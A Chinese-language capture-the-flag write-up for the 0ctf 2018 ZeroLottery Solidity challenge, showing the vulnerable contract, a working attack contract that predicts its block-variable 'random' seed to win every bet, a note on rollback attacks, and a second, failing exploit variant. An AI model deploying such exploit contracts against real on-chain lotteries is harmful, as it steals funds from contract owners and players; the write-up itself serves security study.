Randomness(1)
随机数类型
wiki部分
wp1
0ctf 2018 ZeroLottery
题目最终需要我们做到的是
Your goal is make your ZeroLottery’s balance > 500
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| pragma solidity ^0.4.21; contract ZeroLottery { struct SeedComponents { uint component1; uint component2; uint component3; uint component4; }
uint private base = 8;
address private owner; mapping (address => uint256) public balanceOf;
function ZeroLottery() public { owner = msg.sender; } function init() public payable { balanceOf[msg.sender] = 100; } function bet(uint guess) public payable { require(msg.value>1 ether); require(balanceOf[msg.sender] > 0); uint secretSeed = uint256(keccak256( (uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp )); uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base; if (guess != n) { balanceOf[msg.sender] = 0; msg.sender.transfer(msg.value - 0.5 ether); return; } msg.sender.transfer(msg.value - 1 ether); balanceOf[msg.sender] = balanceOf[msg.sender] + 100; }
function paolu() public payable { require(msg.sender == owner); selfdestruct(owner); }
}
|
解题
不怎么需要分析就是单纯的随机数预测,题目使用区块变量来生成了伪随机数,所以我们部署第三方合约调用函数时用同样的方法计算seed生成出来的随机数是一样的,因为此时两合约打包在一个区块中,所以所使用到的区块变量都是一样的。
攻击合约.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.21;
import "./source.sol"; contract exp { address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8); ZeroLottery target = ZeroLottery(constance); constructor() payable public{ } uint private base = 8;
function betSucess() public payable{ uint secretSeed = uint256(keccak256( (uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp )); uint n = uint(keccak256(uint(this), secretSeed)) % base; target.bet.value(1.1 ether)(n); }
function getBalance() public view returns (uint){ return target.balanceOf(address(this)); }
function InitBalance() public { target.init(); } }
|
初始化一次。然后调用四次betSucess
即可。
还有一种回滚攻击看看wiki,很容易理解。
原理
在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就 “耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。
一些疑问
当我这样去写exp时,并不能每次都计算出正确的随机数,并且尝试了多次最多就只能正确算出一次,无法连续正确计算几次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| pragma solidity ^0.4.21;
import "./source.sol"; contract exp { address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8); ZeroLottery target = ZeroLottery(constance); struct SeedComponents { uint component1; uint component2; uint component3; uint component4; } constructor() payable public{ } uint private base = 8; function seedSame(SeedComponents components) internal pure returns (uint) { uint secretSeed = uint256(keccak256( components.component1, components.component2, components.component3, components.component4 )); return secretSeed; }
function betSucess() public payable{ uint secretSeed = seedSame(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base; target.bet.value(1.1 ether)(n); }
function getBalance() public view returns (uint){ return target.balanceOf(address(this)); }
function InitBalance() public { target.init(); } }
|